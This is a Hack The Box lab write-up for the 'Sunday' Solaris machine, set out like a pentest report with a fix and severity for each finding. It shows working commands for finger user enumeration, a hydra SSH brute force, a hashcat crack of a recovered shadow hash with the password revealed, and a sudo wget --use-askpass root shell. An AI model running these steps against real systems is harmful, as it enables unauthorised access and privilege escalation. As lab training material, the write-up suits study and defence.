Hack The Box Sunday Writeup (Easy Solaris)
Easy Solaris box. The finger service enumerates sammy and sunny, an SSH brute force cracks sunny, a shadow backup gives sammy, and sudo wget gives root.
Summary
Sunday is an Easy Solaris machine whose finger service on port 79 leaks the real users sammy and sunny among the default accounts. A hydra brute force against the SSH service on the non standard port 22022 finds sunny’s password, sunday. As sunny, an unprotected /backup/shadow.backup holds sammy’s sha256crypt hash, which hashcat cracks to cooldude!, allowing a switch to sammy. sammy may run wget as root with sudo, and the GTFOBins wget technique with –use-askpass runs an attacker script as root, giving a root shell.
Independent Challenge - 10.10.10.76
export IP=10.10.10.76
Service Enumeration
The machine is very slow and crashes very often. With that in mind, Behind Security ran an nmap scan specifying the flag --max-retries 0 to speed up things.
| IP Address | Ports Open |
|---|---|
| 10.10.10.76 | TCP: 79, 111, 515, 6787, 22022 |
Command: nmap -T4 -oN scans/nmap-all -vv -p- --max-retries 0 10.10.10.76
Username Enumeration - Finger
Vulnerability Explanation: Behind Security successfully enumerated valid users on the system by exploiting the finger service running on port 79/TCP.
Vulnerability Fix: Disable or restrict access to the finger service’s port.
Severity: Medium
Steps to Reproduce the Attack: An attacker can use a Metasploit module to enumerate users via the finger service with a wordlist. Notably, sammy and sunny are distinct users, with the others being common default users for various aspects of the system. To confirm, the command finger sammy@10.10.10.76 revealed that sammy logged in on Apr 13, 2022, via an ssh tty shell. The same information was obtained using finger sunny@10.10.10.76. The configuration for the metasploit module is provided below.
1
2
3
4
5
6
7
msf6> use auxiliary/scanner/finger/finger_users
msf6 auxiliary(scanner/finger/finger_users)> set USERS_FILE /usr/share/seclists/Usernames/Names/names.txt
msf6 auxiliary(scanner/finger/finger_users)> set RHOSTS 10.10.10.76
msf6 auxiliary(scanner/finger/finger_users)> exploit
Enumeration output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: noaccess
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: nobody4
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: nobody
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: lp
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: adm
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: dladm
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: netcfg
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: dhcpserv
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: ikeuser
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: netadm
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: bin
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: smmsp
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: root
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: sammy
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: sunny
[+] 10.10.10.76:79 - 10.10.10.76:79 - Found user: sys
[+] 10.10.10.76:79 - 10.10.10.76:79 Users found: adm, bin, dhcpserv, dladm, ikeuser, lp, netadm, netcfg, noaccess, nobody, nobody4, root, sammy, smmsp, sunny, sys
sammy and sunny are two users that stand out from the others, because the others are common default users for different aspects of the system. We can verify that by running the command: finger sammy@10.10.10.76. The output is:
1
2
3
$ finger sammy@$IP
Login Name TTY Idle When Where
sammy ??? ssh <Apr 13, 2022> 10.10.14.13
It tells us that someone logged in as sammy (Apr 13, 2022) using a tty shell via ssh. The same is present when we run finger sunny@10.10.10.76
Initial Access - Login Bruteforce via SSH
Vulnerability Explanation: With two valid system users, Behind Security performed a login brute-force attack against the ssh service on port 22022/TCP, successfully retrieving the password for the user sunny.
Vulnerability Fix: Implement stronger security measures, such as using SSH keys instead of passwords or implementing an account lockout system after a certain number of failed login attempts.
Severity: High
Steps to Reproduce the Attack: Behind Security saved the usernames discovered previously to a file named “users.txt” and performed the brute-force attack using the tool “hydra” using the “rockyou” wordlist. The command used was: hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.76 ssh -s 22022 -V -f -u.
Finding Snippet:
1
2
3
4
[22022][ssh] host: 10.10.10.76 login: sunny password: sunday
[STATUS] attack finished for 10.10.10.76 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-06 12:12:36
Post Exploitation
Privilege Escalation - Sammy
Vulnerability Explanation: Further enumeration led to successful lateral movement due to an unprotected backup file located at /backup/shadow.backup. This file contained the hashed password of the user “sammy”, which was easily cracked using the “hashcat” tool.
Vulnerability Fix: Enforce strong password policies for all users and ensure proper protection of backup files.
Severity: High
Steps to Reproduce the Attack: Behind Security used hashcat for windows, that enables the possibility to crack hashes using the GPU instead of the CPU. This is a faster and recommended way to crack hashes, but you can also crack the hash using johntheripper (or even hashcat) directly from a Kali Linux VM. Save the hash to a text file and execute hashcat (windows): hashcat.exe -d 1 -a 0 -m 7400 hash.txt wordlists\rockyou.txt.
Finding:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7400 (sha256crypt $5$, SHA256 (Unix))
Hash.Target......: $5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB
Time.Started.....: Sun Aug 06 13:19:10 2023 (10 secs)
Time.Estimated...: Sun Aug 06 13:19:20 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlists\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 19921 H/s (12.66ms) @ Accel:8 Loops:512 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 205824/14344385 (1.43%)
Rejected.........: 0/205824 (0.00%)
Restore.Point....: 202752/14344385 (1.41%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4608-5000
Candidate.Engine.: Device Generator
Candidates.#1....: dompet -> amythest
Hardware.Mon.#1..: Temp: 51c Fan: 30% Util: 80% Core:1354MHz Mem:3504MHz Bus:16
Started: Sun Aug 06 13:18:57 2023
Stopped: Sun Aug 06 13:19:21 2023
Privilege Escalation - root
Vulnerability Explanation: The user “sammy” has the capability to run wget as root, creating a significant security flaw. A straightforward sequence of commands is all that’s required to escalate privileges to root. More information on this privilege escalation technique can be found here.
Vulnerability Fix: Reconsider the permissions of the user “sammy”.
Severity: Critical
Steps to Reproduce the Attack: Logged in as “sammy”, execute the commands below.
1
2
3
4
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0